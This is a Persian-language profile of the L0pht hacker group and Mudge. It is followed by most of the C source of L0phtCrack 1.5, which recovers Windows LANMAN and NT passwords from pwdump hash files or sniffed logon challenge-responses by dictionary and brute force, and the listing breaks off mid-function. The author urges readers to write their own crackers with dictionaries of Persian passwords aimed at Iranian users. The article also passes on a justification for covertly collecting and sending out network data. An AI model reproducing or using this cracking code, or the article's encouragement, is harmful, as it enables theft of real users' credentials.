 اقای Dr.Mudge   تحصیلات اصلی خود در دانشگاه را در رشته  موسیقی عنوان کرد البته برای من جالب بود با آن تیپ عجیب و پانکی Mudge ( شلوار جین وکفش  اسپورت و یک تی شرت معمولی و با موهای بلندی که بر روی شانه هایش ریخته بود دکتری است در زمینه ی تحصیلات موسیقی ولی در عین حال به قول دیگر اعضای گروه The Hacker’s Underground Rock Star  ) آقای  Mudge  در حدود 30 سال سن داشت و هم موسس گروه و هم  با تجربه ترین فرد گروه بود, به اینصورت که در بین اعضای دیگر گروه چه از کسانی که از قدیم در L0pht  بودند و چه از کسانی که تازه مثل Silicosis  به گروه ملحق شده بودند   آقای Mudge  را به طور شایسته ای ستایش می کردند و از جهاتی هم به او یک نگاه خداگونه در زمینه ی هک داشتند Mudge  بسیار خونسرد و البته بسیار خوش برخورد و شوخ بود . مقداری در مورد مسایل جاری دنیای هک و آینده ی دنیای کامپیوتر صحبت کرد و من اینقدر غرق در صحبت های Mudge  شده بودم که اصلا از یادم رفته بود که من برای مصاحبه با آنها به ان جا آمده بودم ولی این درحالی بود که من با یک سری مطالب مهیج و جالب از دنیای هک اشنا می شدم سخنرانی Mudge  خیلی کوتاه ولی جذاب و شیرین بود .

 او به گفته ی اعضای گروه سلطان ناشناخته و پنهان هکرهاست و با اینکه در حال حاضر دیگر  هکر ها و دیگر جوامع علمی رایانه کسان دیگری را به این عنوان بر می شمرند آن هم به خاطر اینست که در رسانه ها حاضر می شوند. از آقای Mudge  خواستم که نظر خود را در این مورد برای من توضیح بدهند که جواب من فقط یک لبخند کوتاه بود . الته خود این لبخند حرف های ناگفته ی زیادی را مطرح می کرد  البته من به موضوعی که Mudge  بر آن بود که به من اشاره کند واقف شدم  و آن این بود که مهم نیست چه القابی برای افراد گذاشته می شود بلکه نکته اصلی این ست که آیا ان افراد درزمینه ی عمل هم با آن القاب نسبت داده شده مطابقت می کنند یا نه !

شاید عده ی کمی ، اعضای این گروه را  به طور کامل نشناسند ولی  این سلاطین هک را همگی هکرهای کلاس بالا  در اجلاس سالانه ی هکر ها Defcon  یا   Blackhat به خوبی می شناسند.

در ادامه ی مصاحبه  .Mudge  برای من توضیح داد که نرم افزاری تهیه کرده است که به گشت وگزار در محیط یک شبکه می پردازد و داده های خاصی را جستجو کرده و سپس بعد از جمع آوری به آدرس نامعلومی می فرستد او گفت که این کار او نمی تواند دزدی نامیده شود زیرا این شرکت ها و افراد هستند که اطلاعات شخصی خود و هر از چند گاهی محرمانه خود را بدون در نظر کرفتن مسائل امنیتی در شبکه پخش می کنند پس این اشکال بر من وارد نیست و من فقط به یک جستجو ی ساده می پردازم و اطلاعات را خود دیگران در اختیار من قرار می دهند

این هکرهای باهوش در حال تست Protocol های شبکه به نکاتی پی می برند که حتی سازندگان آن به آن نکات واقف نبودند بر اساس همین کشفیا تشان است که  قدرتشان در نفوذ به شبکه ها صد چندان میشود وبه راحتی میتوانند به مقاصد خود دست پیدا کنند

برای اینکه قدرت این هکرها برایتان روشن شود و به علت این مو ضوع پی ببرید که چرا به آنها سلاطین دنیای هکرها گفته می شود باید به یک تفاوت عمده این هکرها با دیگر هکر ها اشاره کنم هکر های عمده در دنیا یا از Bug  هایی که یا خود آنها را شناسایی می کنند و یا دیگران آنها را شناسایی می کنند برای نفوذ خود به سیستم ها استفاده می کنند و اگر در سیستمی نتوانند هیچ گونه حفرهای برای نفوذ بیابند عملیات نفوذ آنها با شکست مواجه می شود البته گروه L0pht  هم یا از حفره هایی که خود کشف می کند  یا دیگران پیدا می کنند برای نفوذ بهره می برند ولی یک تفاوت مهم در اینجا با دیگران پیدا می کنند که با پیدا نکردن هیچ حفره در هدف دست آنها به هیچ وجه بسته نخواهد بود  دراین زمان آنها هنر خود را به نمایش می گذارند و آن این است که  شرایطی را برای هدف محیا می کنند و به آن طوری القا می کنند که از خود شرایط باگ را نشان بدهد و   کاری می کنند که سیستم هدف شرایط  Bug  را در خود محیا کند وسپس از همان باگ برای نفوذ استفاده می کنند مثالی که خود آنها برای همین موضوع می زنند اینست که اگر با خانه ای مواجه شدید که همه ی درها و پنجره های آن بسته است و راه نفوذی مثل یک پنجره نیمه باز یا حتی در اصلی خانه( افرادی که به مسایل امنیت توجه نمی کنند)  یا در پشتی) Back Door) خانه باز نبود آنگاه  با یک سنگ کوچک می توانید قسمتی از کنار یک پنجره رابشکانید قفل را باز کنید پنجره را بالا بکشید بعد به داخل بروید بله این همان نکته ای بود که به آنها لقب سلطان دادند برای نفوذ به هر سیستمی باگ های آن را کشف می کند و اگر چیزی به عنوان حفره پیدا نکردند خود برای آن سیستم حفره ایجاد می کنند.       

البته انها این موضوع و مسائل دیگر را با  احتیاط هر چه تمام تر به من عنوان می کردند که مبادا در آینده برای آنها سبب گرفتاری شود

 دو  مهره ی اصلی .گروه Dr.Mudge  و  Dil Dog همین دونفر موسسان این گروه هکری در دهه هشتاد میلادی بودند.

 در سال 2000  میلادی گروه L0pht  دیگر به عنوان این اسم در مجامع رسمی عنوان نمی شود زیرا این گروه از همان تاریخ به بعد جزو یکی از مراکز تحقیقات شرکت  @stake  در آمدند حتی  آدرس سایت این گروه هم از www.l0pht.com  به www.atstake.com  عوض شد ولی با این حال در دنیای زیر زمینی هکرها آنهاهنوز یکه تاز تمام دوران ها به شمار می روند و همه ی هکر ها فقط L0pht را می شناسند نه  چیز دیگری را .در واقع اکر منصف باشیم وبه مهارت های این گروه و دیگر گروهها نگاهی بیندازیم به این مسئله اذعان خواهیم کرد که این هکرهای جوان  صاحبان اصلی دنیای زیر زمینی  هستند و بر آن حکمرانی می نمایند. اینان   صاحبان اصلی  Defcon  و BlackHat   در دنیا می باشند .ولی در خارج از آن حوزه ها دوست دارند همیشه ناشناس باقی بمانند زیرا کلمه ی  شهرت را نمی توان در فرهنگ لغت این اشخاص یافت   هر چند به نظر می رسد آنها از اینکه به عنوان زیر مجموعه ی یک شرکت در آمده اند و این با نوع تبع آزاد گرایانه ی آنها تا حدی منافات نیز دارد ولیکن از این موضوع هم خوشحالند که حداقل با این ترفند توانسته اند از دام هر گونه پیگردی با پیوستن به شرکت  @stake  بگریزند و دعواهای حقوقی خود را متوجه این شرکت نمایند زیرا حداقل در ظاهر اینست که دیگر L0pht ای وجود ندارد و آنها در حال کار و تحقیق برای شرکت @stake  می باشند  شاید این هم نوعی دیگر از مبارزه طلبی این گروه در هزاره ی سوم  برا بقاء می باشد .

                                                                                          

محمد مسافر

C0llect0r@Spymac.com

 

       

Source Code  نسخه ی  L0pht Crack 1.5  را برای برای علاقه مندان به برنامه نویسی جهت آشتایی بیشتر با نحوی عملکرد کراکینگ وروش های برنامه نویسی به منظور کراک را قرار میدهم ا لبته اگر شما مقداری به برنامه نویسی مسلط باشید با مقداری کوشش و پشت کار خودمی توانید برای خود  Password Cracker  بسازید چه بسا شاید ساخته ی شما  L0pht Crack دیگری وحتی پیشرفته تر از آن را به جهانیان عرضه کند پیشنهاد میکنم در ابتدا برای نوشتن کد های برنامه اتان از همان روش ها کلی وکلاسیک Password Cracking  استفاده نمایید یعنی 1:User Information  & Null Password testing 2: ِ Dictionary Attack  ( در این روش چون نرم افزار ی که طراحی مینمایید بومی است ,  وبا احتمال زیادی کاربران بومی از کلمات رمز بومی نیز استفاده میکنند پس در این مرحله از کلمات ایرنی نیز علاوه بر English Dictionaries  هم استفاده کنید که البته باز نوع آن Dictionary  بومی که انتخاب و طراحی مینمایید باز به استعداد و هوش شما بستگی دارد مثلا ابنکه کاربران ایرانی اقلب از چه کلماتی برای کلمه ی عبور خود استفاده مینمایندو به چه مسائلی بیشتر علاقه مند هستند که از یادشان هم نمیرود و به همین سبب کلمات رمز خود را از همان حوزه ها انتخاب میکنند  ... بله من به همان چیزی فکر می کنم که هم اکنون نیزشما به ان  فکر  اقتادید ..... :D;))   3: Hybrid Attack  4 : Brute Force   

 

/* L0phtcrack 1.5 06.02.97 mudge@l0pht.com

   The original comments are left below for those that missed the first

   release. It still does all of the things the first one did PLUS:

   . Can now dictionary attack or brute force the network NT server

     challenge that is used to prevent the OWF from going across the

     wire in its plaintext format. Here's how their setup works:

        [assuming initial setup etc...]

           8byte "random" challenge

     Client <---------------------- Server

     OWF1 = pad Lanman OWF with 5 nulls

     OWF2 = pad NT OWF with 5 nulls

     resp = E(OWF1, Chal) E(OWF2, Chal)

           48byte response (24byte lanman 24byte nt)

     Client -----------------------> Server

     The client takes the OWF ( all 16 bytes of it) and pads with 5 nulls.

     From this point it des ecb encrypts the, now 21byte, OWF with the

     8byte challenge. The resulting 24byte string is sent over to the

     server who performs the same operations on the OWF stored in it's

     registry and compares the resulting two 24byte strings. If they

     match the user used the correct passwd.

     What's cool about this? Well, now you can take your sniffer logs

     of NT logons and retrieve the plaintext passwords. This does not

     require an account on the NT machine nor does it require previous

     knowledge of the ADMINISTRATOR password.

     See, the problem was that of Microsoft's horrible marketing driven

     patch to prevent pwdump from working. [elaborate on why that sucked]

   . Recursion has been removed from both the brute forcing in the Lanman

     case and also in the NT case derivation from the Lanman password.

     The iterative functions, although they don't logically represent

     the problem as well as their recursive predecessors, are much more

     memory friendly.

   . The large bruter routine no longer overflows the Pentium L2 cache,

     well it didn't seem to do so bad if you had a 512k L2 cache as opposed

     to a 256k on. This offers a large performance increase in bruting.

   . A couple of bugs were fixed.

/* NT-Cracker 03.24.97 mudge@l0pht.com

   This program takes the smbpassword file or the output generated by

   the excellent program pwdump (author name) and dictionary attacks

   the LANMAN One Way Password -

  LANMAN One Way Passwords are created in the following fashion:

            . The password is first converted to uppercase

            . If the password is longer than 14 chars (bytes) then it

                        is truncated

            . If the password is less than 14 chars (bytes) then it is

                        padded with NULL's to 14 bytes.

            . The padded/truncated password is then split in half and each

                        half is used to generate an odd parity DES key

            . An 8 byte fixed value is then encrypted with each of the

                        DES keys - these two results are concatenated together

                        to produce a 16byte hash.

            The fixed value that is encrypted by each of the DES keys is the

            decryption of the value 0xAAD3B435B51404EE with a key of all zeros.

  Todo: add an entire keyspace attack to guarantee

        we get all of the passwords

  Todo: Roll this into pwdump and add the ability to try to brute

        force the administrators passwords on remote machines to obtain

                        full user listings and OWPasswords.

  Todo: GUI for the Windows users - weld's job

  Todo: CLI portable

  Todo: If not bruting - let people know if we couldn't find the passwd in a

      dictionary and the word is <= 7 chars

  Crikey! Now I see where ECB mode is going to kill them in the NT

  dialect - this should make bruting either one trivial!

  BIG KUDOS go out to Hobbit@avian.org for his outstanding work in debunking

  CIFS. Without information provided in his paper this program wouldn't be

  here!

  This work is provided by the L0pht - it contains code from the

  following places:

                        . Plenty of original code

                        . generic routines from the samba code source

                        . md4 routines from RSA

                        . DES routines from Eric Young's libdes

*/

#include "includes.h"

void f2(struct user_struct *Ustruct, char *str);

extern void fill_user_struct(char *dastring, struct user_struct *da_struct);

extern void str_to_key(unsigned char *,unsigned char *);

extern void usage(char *);

extern void LMword(char *, char *);

extern char * atob(char *, int);

extern int htoi(char c);

int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case);

void md4hash(char *passwd, unsigned char *p16, int len);

extern int PutUniCode(char *dst,char *src);

void chcase(char *str, int pos);

void LowerString(char *holder, char *word);

void printuser(struct user_struct *Ustruct, FILE *file);

int cracklanman(struct user_struct *Ustruct, char *dict_word, char *tmphash);

extern int isvalid_userline(char *user_entry);

extern struct user_struct * init_linked_list();

extern void add_list_struct(struct user_struct *, char *);

extern struct user_struct * remove_from_list(struct user_struct *);

extern struct user_struct * rewind_list(struct user_struct *);

extern void print_and_prune(struct user_struct *record, FILE *outlist);

extern void build_linked_list(struct user_struct *head, FILE *pwlist);

extern struct user_struct * filter_disabled(struct user_struct *head, FILE *outlist);

extern struct user_struct * filter_nopasswd(struct user_struct *head, FILE *outlist);

extern struct user_struct * setup_linked_list(int, FILE *, FILE *);

int Lanman(struct user_struct *index, char *dict_word, FILE *outlist);

int nt(struct user_struct *index, char *dict_word, FILE *outlist);

int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist);

extern void free_struct_list(struct user_struct *);

int brute_lanman(struct user_struct *Ustruct, FILE *outlist);

void half_lanman(char *, char *);

int brute_routine(struct user_struct *head, char *half_hash, char *, int iter);

int lm_check_sniff(struct user_struct *, char *);

int nt_check_sniff(struct user_struct *, char *);

extern void nt_ify_list(struct user_struct *head);

extern void print_hits(struct user_struct *head, FILE *outlist);

extern struct user_struct * prune_list(struct user_struct *head);

extern void E_P24(uchar *, uchar *, uchar *);

int issame(char *, char *, int);

/* Global str_to_crypt - this is what is encrypted with each of the

   odd parity DES keys for LANMAN - It is derived by decrypting the

   fixed byte quantity 0xAAD3B435B51404EE with a key

   of all 0's ie:

           

            fixed_key[] = "\xAA\xD3\xB4\x35\xB5\x14\x04\xEE";

            memset(deskey3, '\0', sizeof(deskey3)); - key of all 0's

            des_set_key((des_cblock *)deskey3, ks3);

            des_ecb_encrypt((des_cblock *)fixed_key,

                (des_cblock *)str_to_crypt, ks3, DES_DECRYPT);

*/

char str_to_crypt[] = "\x4b\x47\x53\x21\x40\x23\x24\x25";

void main(int argc, char **argv) {

            FILE *pwlist, *wordlist, *outlist;

            char dict_word[MAX_WORD];

            char *pwfile, *wordfile, *outfile;

            struct user_struct *head, *index, *foo, *bar;

            extern char *optarg;

            int c, pcount=0, Pcount=0, wcount=0, ocount=0, brute=0;

            int lanonly=0, ntonly=0;

            int ret=0;

            while ( (c = getopt(argc, argv, "p:P:w:blno:")) != EOF){

                        switch(c) {

                        case 'p': /* passwd file from pwdump */

                                    pwfile = optarg;

                                    pcount++;

                                    break;

                        case 'P': /* passwd file from sniffer logs - 

                                         we will look at Pcount / pcount to figure

                                         out what type of file pwfile is really pointing

                                         to */

                                    pwfile = optarg;

                                    Pcount++;

                                    break;

                        case 'w': /* dictionary of words */

                                    wordfile = optarg;

                                    wcount++;

                                    break;

                        case 'o': /* output file */

                                    outfile = optarg;

                                    ocount++;

                                    break;

                        case 'l': /* crack LANMAN password ONLY */

                                    lanonly++;

                                    break;

                        case 'n': /* crack NT Dialect only - dumb -

                                         better performance cracking both */

                                    ntonly++;

                                    break;

                        case 'b': /* brute force through keyspace */

                                    brute++;

                                    break;

                        default:

                                    usage(argv[0]);

                        }

            }

            if ((pcount == 0 && Pcount == 0) || (pcount > 0 && Pcount > 0))

                        usage(argv[0]);

            else if ((wcount == 0 && brute == 0) || (wcount > 0 && brute > 0))

                        usage(argv[0]);

            if (lanonly > 0 && ntonly > 0)

                        usage(argv[0]);

            if ((pwlist = fopen(pwfile, "r")) == NULL){

                        fprintf(stderr, "Error: could not open %s\n", pwfile);

                        exit(1);

            }

            if (wcount > 0 ) {

              if ((wordlist = fopen(wordfile, "r")) == NULL){

                          fprintf(stderr, "Error: could not open %s\n", wordfile);

                          exit(1);

              }

            }

           

            if (ocount > 0){

                        if ((outlist = fopen(outfile, "w")) == NULL){

                                    fprintf(stderr, "Error: could not open %s\n", outfile);

                                    exit(1);

                        }

            } else

                        outlist = stdout;

            head = setup_linked_list(pcount, pwlist, outlist); /* pcount will

                                                be 1 if it's a regular pwdump file and

                                                0 if it is a sniffer log with the

                                                challenge response */

            foo = index = head;

            /* main loop */

            head = rewind_list(index);

            index = foo = bar = head;

            if (head == NULL){

                        fprintf(stderr, "Nothing to do so I guess I'm done\n");

                        exit(1);

            }

            if (brute){

                        ret = brute_lanman(index, outlist);

            }else{

                        while (fgets(dict_word, MAX_WORD, wordlist) != NULL) {

                                    head = rewind_list(index);

                                    index = foo = bar =  head;

                                   

                                    if (head == NULL){

                                                fprintf(stderr, "Done\n");

                                                exit(1);

                                    }

                                    while (bar != NULL){

                                                if (lanonly){

                                                            Lanman(index, dict_word, outlist);

                                                } else if (ntonly) {

                                                            nt(index, dict_word, outlist);

                                                } else {

                                                            Lanman_and_nt(index, dict_word, outlist);                                              

                                                }          

                                                if (index->next == NULL){

                                                            bar = NULL;

                                                }else{

                                                            index = index->next;

                                                }

                                    }

                       

                        }

            } /* else from brute_lanman */  

        if (ret == 0){ /* if ret is > 0 then we have already pruned ALL

                          of the structs in the list...  */

              head = rewind_list(index);

              free_struct_list(head);

        }

            if (ocount > 0)

                        fclose(outlist);

            if (wcount > 0)

                        fclose(wordlist);

            if (pcount > 0)

                        fclose(pwlist);

}

/* routine to check the LANMAN passwd */

int cracklanman(struct user_struct *Ustruct, char *dict_word, char *fullhash){

  unsigned char passwd[14];

  unsigned char lanman[16];

  des_cblock deskey1, deskey2;

  des_key_schedule ks1, ks2;

  memset(passwd, '\0', sizeof(passwd));

  memset(lanman, '\0', sizeof(lanman));

  LMword((char *)passwd, dict_word); /* uppercases and

                                        truncs/concats word into passwd */

  if (!Ustruct->pwdumpval){

    if (lm_check_sniff(Ustruct, passwd) == 1)

      return(1);

    else

      return(0);

  }

  str_to_key(passwd, deskey1);  /* create the first 8byte odd

                                   parity des key */

  des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */

  des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known

                                                 8byte value */

              (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the

                                                   first des key */

  str_to_key(&(passwd[7]), deskey2);

  des_set_key((des_cblock *)deskey2,ks2);

  des_ecb_encrypt((des_cblock *)str_to_crypt,\

                              (des_cblock *)&lanman[8], ks2, DES_ENCRYPT);

  strncpy(fullhash, (const char *)lanman, sizeof(lanman));

  if (memcmp(Ustruct->lmhashb, lanman, sizeof(lanman)) == 0){

    strncpy(Ustruct->lmpasswd, (const char *)passwd, LMPASSWDLEN);

    return(1);

  }

  return(0);

}

/* routine to check the md4 NT dialect passwd derived from the

   succesfull LANMAN passwd.  returns 1 if succesfull, 0 otherwise  -

   if check case is > 0 then all possible permutations of upper/lower

   are tried, if <=0 then just try the word in the case that we recieved

   it in. */

int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case){

           

  char ntpasswd[129];

  char *hold;

  unsigned char *p16;

  int pos, uni_len;

  memset(ntpasswd, '\0', sizeof(ntpasswd));

  if (check_case){ /* go through the possible case sensitive perms */

    LowerString(ntpasswd, passwd);

    pos = strlen(passwd) -1;

    f2(Ustruct, ntpasswd);

  }else{ /* not interested in case sensitivity - just try the dict word as

            we have it */

    if (passwd[strlen(passwd)-1] == '\n') /* strip the \n - this

                                is done in LowerString for the case sensitive

                                check */

    passwd[strlen(passwd)-1] = '\0';

    hold = (char *)malloc(NTPASSWDLEN * 2); /* grab space for

                                               unicode */

    if (hold == NULL){

      fprintf(stderr, "out of memory...crackntdialog hold\n");

      exit(1);

    }

    uni_len = PutUniCode(hold, passwd); /* convert to

                                           unicode and return correct

                                           unicode length for md4 */

    p16 = (unsigned char*)malloc(16); /* grab space for md4 hash */

    if (p16 == NULL){

      fprintf(stderr, "out of memory...crackntdialect p16\n");

      exit(1);

    }

    md4hash(hold, p16, uni_len);

    if (Ustruct->pwdumpval){

      if (memcmp(p16, &Ustruct->nthashb, 16) == 0)

        strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);

    } else {

      if (nt_check_sniff(Ustruct, p16) == 1){

        strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN);

      }

    }

    free(p16);

    free(hold);

  }

  if (strlen(Ustruct->ntpasswd) > 0){

    Ustruct->ntdone = 1;

    return(1);

  } else

    return(0);

}

/* Recursively check all variations on case as the NT Dialect passwd is case

   sensitive. This isn't too bad as the total possible perms is only 2 to the

   power of strlen(wordtocompare). We really need to make this iterative

   to save on memory and increase speed. If the function finds a match it

   puts it in Ustruct->ntpasswd. */

void f2(struct user_struct *Ustruct, char *str){

  unsigned long i,j;

  char tmp[128], hold[256];

  char ntresp[21], response[24];

  unsigned char p16[16];

  int len, uni_len, iters;

  len = strlen(str);

  iters = 1 << len;

#ifdef _DEBUG

  printf("str: %s - len: %d\n", str, len);

  fflush(NULL);

#endif

  for (i=0; i<iters; i++) {  

    strcpy(tmp, str);

    /* Set case for this round  */

    for (j=0; j<len; j++) {

      if ( i & (1 << j)) {

        tmp[j] = toupper(tmp[j]);

      }

    }

#ifdef _DEBUG

    printf("%d: %x %s \n", i, tmp, tmp);

    fflush(NULL);

#endif 

    uni_len = PutUniCode(hold, tmp);

    md4hash(hold, p16, uni_len);

    if (Ustruct->pwdumpval){  /* we're dealing with pwdump */

      if (memcmp(p16, Ustruct->nthashb, 16) == 0){

        strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);

        return;

        /* finished=1; */

      }

    } else {  /* we're dealing with sniffer logs */

      if (nt_check_sniff(Ustruct, p16) == 1){

        strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN);

        return;

      }

    }

  }

}

/*

 * Creates the MD4 Hash of the users password in NT UNICODE.

 */

 

void md4hash(char *passwd, unsigned char *p16, int len)

{

            int i=0;

            MDstruct MD;

 

            MDbegin(&MD);

            for(i = 0; i + 64 <= len; i += 64){

                        MDupdate(&MD,(unsigned char *)passwd + (i/2), 512);

#ifdef BIGENDIAN

                        MDreverse(MD.buffer);

#endif

            }

            MDupdate(&MD,(unsigned char *)passwd + (i/2),(len-i)*8);

#ifdef BIGENDIAN

            MDreverse(MD.buffer);

#endif

/*         MDprint(&MD);

               printf("\n");  */

            memcpy(p16, (unsigned char *)MD.buffer, 16);

/*

            SIVAL(p16,0,MD.buffer[0]);

            SIVAL(p16,4,MD.buffer[1]);

            SIVAL(p16,8,MD.buffer[2]);

            SIVAL(p16,12,MD.buffer[3]);

*/

}

void LowerString(char *holder, char *word){

            size_t i;

            int word_len;

 

            word_len = strlen(word);

            if (strlen(word) > 128)

                        word[128] = '\0';

            for (i=0; i < word_len; i++){

                        if (isupper(word[i]))

                          holder[i] = tolower(word[i]);

                        else

                          holder[i] = word[i];

            }

            if (holder[word_len - 1] == '\n')

              holder[word_len - 1] = '\0';

}

void chcase(char *str, int pos){

            str[pos] = toupper(str[pos]);

}

void printuser(struct user_struct *Ustruct, FILE *file){

  if (Ustruct->already_printed == 1)

            return;

  else {

            fprintf(file, "User: [%s] Lanman PW: [%s] NT dialect PW: [%s]\n",

                        Ustruct->username, Ustruct->lmpasswd, Ustruct->ntpasswd);

                        Ustruct->already_printed = 1;

                        fflush(file);

            }

}

int Lanman(struct user_struct *index, char *dict_word, FILE *outlist){

  struct user_struct *foo;

  char match_lmpasswd[14], match_lmhash[32], tmphash[16];

  int ret=0;

  if (index->lmdone == 1){

    printuser(index, outlist);

    return(1);

  }else{

     if (index->pwdumpval){ /* doing the pwdump file */

       if (cracklanman(index, dict_word, tmphash) == 1){

         printuser(index, outlist);

         index->lmdone = 1;

         strcpy(match_lmpasswd, index->lmpasswd);

         memcpy(match_lmhash, index->lmhash, 32);

         ret = 1;

       }

       foo = index->next;

       while (foo != NULL){

         if (memcmp(foo->lmhashb, tmphash, 16) == 0){

           LMword(match_lmpasswd, dict_word);

           strcpy(foo->lmpasswd, match_lmpasswd);

           foo->lmdone = 1;

           foo = foo->next;

         } else {

           foo = foo->next;

         }

       }

     } else { /* doing the sniffer logs */

       LMword(match_lmpasswd, dict_word);

       if (lm_check_sniff(index, match_lmpasswd) == 1){

         printuser(index, outlist);

         index->lmdone = 1;

         ret = 1;

       }

     }

  }

  return(ret);

}

int nt(struct user_struct *index, char *dict_word, FILE *outlist){

  struct user_struct *foo;

  char match_ntpasswd[129], match_nthash[32];

           

  if (index->ntdone == 1){

    printuser(index, outlist);

    return(1);

  }else{

    if (crackntdialect(index, dict_word, 1) == 1){

      printuser(index, outlist);

      index->ntdone = 1;

      if (index->pwdumpval){

        strcpy(match_ntpasswd, index->ntpasswd);

        memcpy(match_nthash, index->nthash, 32);

        foo = index->next;

        while (foo != NULL){

          if (memcmp(foo->nthash, match_nthash, 32) == 0){

            strcpy(foo->ntpasswd, match_ntpasswd);

            foo->ntdone = 1;

            foo = foo->next;

          } else

            foo = foo->next;

        }

      }

      return(1);

    }

  }

  return(0);

}

int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist){

  struct user_struct *foo;

  char match_lmpasswd[15], match_lmhash[32];

  char tmphash[16];

  int ret=0;

  if (index->lmdone == 1 && index->ntdone){

    printuser(index, outlist);

    return(1);

  }else{

    if (cracklanman(index, dict_word, tmphash) == 1){

      index->lmdone = 1;

      strcpy(match_lmpasswd, index->lmpasswd);

      memcpy(match_lmhash, index->lmhash, 32);

      if (crackntdialect(index, index->lmpasswd, 1) == 1){

    /* printuser(index, outlist); */

        index->ntdone = 1;

      }

      ret = 1;

      if ((index->lmdone) || (index->ntdone))

        printuser(index, outlist);

    }                  

    if (index->pwdumpval){

      foo = index->next;

      while (foo != NULL){

        if (memcmp(foo->lmhashb, tmphash, 16) == 0){

          LMword(match_lmpasswd, dict_word);

          strcpy(foo->lmpasswd, match_lmpasswd);

          foo->lmdone = 1;

          crackntdialect(foo, foo->lmpasswd, 1);

          foo = foo->next;

        } else {

          foo = foo->next;

        }

      }

    }

  }

  return(ret);

}

int brute_lanman(struct user_struct *head, FILE *outlist){

  char brute_str[7];

  char all_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

  char half_hash[8];

  char tmp[128];

  int spacelen = strlen(all_chars);

  int pwlen = 7;

  char *tmpspace[7+1];

  struct user_struct *index;

  int i;

  int size;

  size = strlen(all_chars);

  index = head;

  memset(brute_str, '\0', sizeof(brute_str));

  memset(tmp, '\0', sizeof(tmp));

  /* initialize the pointers */

  tmpspace[0]=&all_chars[0];

  for (i=1; i<=pwlen; i++) {

     tmpspace[i]=0;

  }

  /* ok here we go, go until that extra pointer gets

     changed... */

  while(!tmpspace[pwlen]) {

     for (i=0; i<=pwlen; i++) {

        if(tmpspace[i] != 0) {

           tmp[i]=*tmpspace[i];

        } else

          break;

      /* {

           tmp[i]='\0';

          }

       */

     }

  /* printf("%s : %d\n", tmp, strlen(tmp));  */

     if (index->pwdumpval){

       half_lanman(half_hash, tmp);

       if (brute_routine(index, half_hash, tmp, 7) == 1){

#ifdef _DEBUG

         printf("gotone in round %d\n", iter);

         fflush(NULL);

#endif

         nt_ify_list(index);

         print_hits(index, outlist);

         head = prune_list(index);

         if (!head)

           return(1);

         else

           index = head;

       }

     } else {

       if (lm_check_sniff(index, tmp) == 1){

         nt_ify_list(index);

         print_hits(index, outlist);

         head = prune_list(index);

         if (!head)

           return(1);

         else

           index = head;

        }    

     }

     /* increment */

     tmpspace[0]++;

     /* carry ? */

     for (i=0; i<pwlen; i++) {

       if (tmpspace[i] > &all_chars[spacelen -1]) {

         tmpspace[i] = &all_chars[0];

     /*

        can't just inc the pointer but

        this could be removed by playing

        games with the data struct... ;-)

     */

         if (tmpspace[i+1] !=0) {

           tmpspace[i+1]++;

         } else {

           tmpspace[i+1] = &all_chars[0];

         }

      }

    }

  }

  return(0);

}

void half_lanman(char *half_hash, char *brute_str){

  unsigned char lanman[8];

  des_cblock deskey1;

  des_key_schedule ks1;

  /* create the first 8byte odd parity des key */

  str_to_key((unsigned char *)brute_str, deskey1); 

  /* setup the key schedule */

  des_set_key((des_cblock *)deskey1,ks1);

  /* encrypt the known 8byte value against the first des key */

  des_ecb_encrypt((des_cblock *)str_to_crypt, (des_cblock *)lanman, ks1,\

             DES_ENCRYPT);

  memcpy(half_hash, lanman, 8);

}

/* routine to check the LANMAN passwd */

void full_lanman(char *fullhash, char *dict_word){

  unsigned char passwd[14];

  unsigned char lanman[16];

  des_cblock deskey1, deskey2;

  des_key_schedule ks1, ks2;

  memset(passwd, '\0', sizeof(passwd));

  memset(lanman, '\0', sizeof(lanman));

  strncpy(passwd, dict_word, 14);

  str_to_key(passwd, deskey1);  /* create the first 8byte odd

                                   parity des key */

  des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */

  des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known

                                                 8byte value */

              (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the

                                                   first des key */

  str_to_key(&(passwd[7]), deskey2);

  des_set_key((des_cblock *)deskey2,ks2);

  des_ecb_encrypt((des_cblock *)str_to_crypt,\

                              (des_cblock *)&lanman[8], ks2, DES_ENCRYPT);

  strncpy(fullhash, (const char *)lanman, sizeof(lanman));

}

int brute_routine(struct user_struct *head, char *half_hash, char *brute_str, int iter){

  struct user_struct *index;

  int positive=0;

  index = head;

  while (index != NULL){

             

    if (index->under7){

            if (memcmp(index->lmhashb, half_hash, 8) == 0){

                        strncpy(index->first_half, brute_str, 7);

                        strncpy(index->lmpasswd, brute_str, 7);

                        index->lmdone = 1;

                        positive = 1;

            }

  }else{

              if (iter == 7){

                          if (strlen(index->first_half) == 0){

                                    if (memcmp(index->lmhashb, half_hash, 8) == 0){

                                                strncpy(index->first_half, brute_str, 7);

                                                if (strlen(index->second_half) != 0){

                                                            positive=1;

                                                }

                                    }

                          }

              }

              if (strlen(index->second_half) == 0){

                        if (memcmp(&index->lmhashb[8], half_hash, 8) == 0){

                                      strncpy(index->second_half, brute_str, 7);

#ifdef _DEBUG

                                      printf("snagged second half in round %d\n", iter);

                                      fflush(NULL);

#endif

                        }

              }

  }

  if (!(index->under7)){

    if ((strlen(index->first_half) > 0) && (strlen(index->second_half) > 0)){

              strncpy(index->lmpasswd, index->first_half, 7);

              strncat(&index->lmpasswd[7], index->second_half, 7);

              index->lmdone = 1;

              positive = 1;

    }

  }

  index = index->next;

  }

  return(positive);

}

int lm_check_sniff(struct user_struct *head, char *brute_str){

  struct user_struct *index;

  char pre_lmresp[21];

  char response[24];

  char full_lmhash[16];

  int positive=0;

  index = head;

  while (index != NULL){

             

    memset(pre_lmresp, '\0', 21);

    full_lanman(full_lmhash, brute_str);

    memcpy(pre_lmresp, full_lmhash, 16);

    E_P24(pre_lmresp, index->server_chall, response);

    if (memcmp(index->lmresp_b, response, 24) == 0){

